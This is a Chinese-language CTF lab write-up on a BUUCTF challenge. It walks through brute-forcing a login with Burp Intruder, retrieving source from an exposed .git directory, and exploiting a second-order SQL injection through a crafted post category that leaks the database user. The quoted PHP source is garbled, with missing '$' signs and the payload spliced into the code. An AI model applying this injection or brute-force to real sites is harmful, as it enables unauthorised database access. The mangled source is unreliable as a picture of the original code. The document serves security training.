sql二次注入实战--2018年网顶杯

网址:BUUCTF在线评测 (buuoj.cn)

当我们进入后显示这个页面:

当我们第一次点击发帖的时候就会跳转到登陆页面,上面有提示,告诉我们账号为zhangwei,密码为zhangwei***:

这里我们可以使用bp抓包工具来进行暴力破解密码:bp工具的基本使用大家可以上网查一下。

使用bp的intruder模块进行简单的密码暴力破解,最终破解出的密码为zhangwei666

之后使用该密码进行登陆:

对网站进行观察:该网站存在发帖和留言的功能。

我们需要对该网站的源码进行分析,这里还隐藏了一个.git的文件泄露,我们可以使用githacker工具获取源码。可以去github上面去选择一个来使用:

最后我们得到的源码为:

//write_do.php

<?php

include "mysql.php";

session_start();

if($_SESSION['login'] != 'yes'){

header("Location: ./login.php");

die();

}

if(isset($_GET['do'])){

switch ($_GET['do'])

{

case 'write':

category = addslashes(_POST['category']);

title = addslashes(_POST['title']);

content = addslashes(_POST['content']);

$sql = "insert into board

set category = '$category',

title = '$title',

content = '$content'";

result = mysql_query(sql);

header("Location: ./index.php");

break;

case 'comment':

bo_id = addslashes(_POST['bo_id']);

sql = "select category from board where id='bo_id'";

result = mysql_query(sql);

num = mysql_num_rows(result);

if($num>0){

category = mysql_fetch_array(result)['category'];

content = addslashes(_POST['content']);

$sql = "insert into comment

set category = '$category', ',content= user(),/*

content = '$content',

bo_id = '$bo_id'";

result = mysql_query(sql);

}

header("Location: ./comment.php?id=$bo_id");

break;

default:

header("Location: ./index.php");

}

}

else{

header("Location: ./index.php");

}

?>

找注入点:

对源代码进行分析,当我们发帖的的时候,执行的动作为write;

当我们对帖子进行留言的时候就会执行comment动作。

在执行write动作的时候,我们发现这里使用了addslashes函数对我们的输入进行了过滤,该函数具有转义的作用,但是在数据入库的时候,mysql会将转义符过滤存入数据库中。

当执行comment动作(留言)的时候,它会从数据库中直接将category值取出来使用而没有进行过滤,所以注入点就在这里。

构建payload:

insert into comment
       set category = ' dd',content=user(),/*',
           content = '*/#',
           bo_id = '$bo_id'";

第一步:在发帖功能中构建payload

第二步:

进入新建的帖子中,进行留言。

提交之后我们就可以发现注入出了当前用户:

到此我们就成功的找到了该网站的注入点,我们只需要利用该注入点进行下一步注入即可。为典型的二次注入。

相关推荐
月光水岸New2 小时前
Ubuntu 中建的mysql数据库使用Navicat for MySQL连接不上
数据库·mysql·ubuntu
狄加山6752 小时前
数据库基础1
数据库
我爱松子鱼2 小时前
mysql之规则优化器RBO
数据库·mysql
chengooooooo2 小时前
苍穹外卖day8 地址上传 用户下单 订单支付
java·服务器·数据库
Rverdoser3 小时前
【SQL】多表查询案例
数据库·sql
Galeoto3 小时前
how to export a table in sqlite, and import into another
数据库·sqlite
人间打气筒(Ada)4 小时前
MySQL主从架构
服务器·数据库·mysql
leegong231114 小时前
学习PostgreSQL专家认证
数据库·学习·postgresql
喝醉酒的小白4 小时前
PostgreSQL:更新字段慢
数据库·postgresql
敲敲敲-敲代码4 小时前
【SQL实验】触发器
数据库·笔记·sql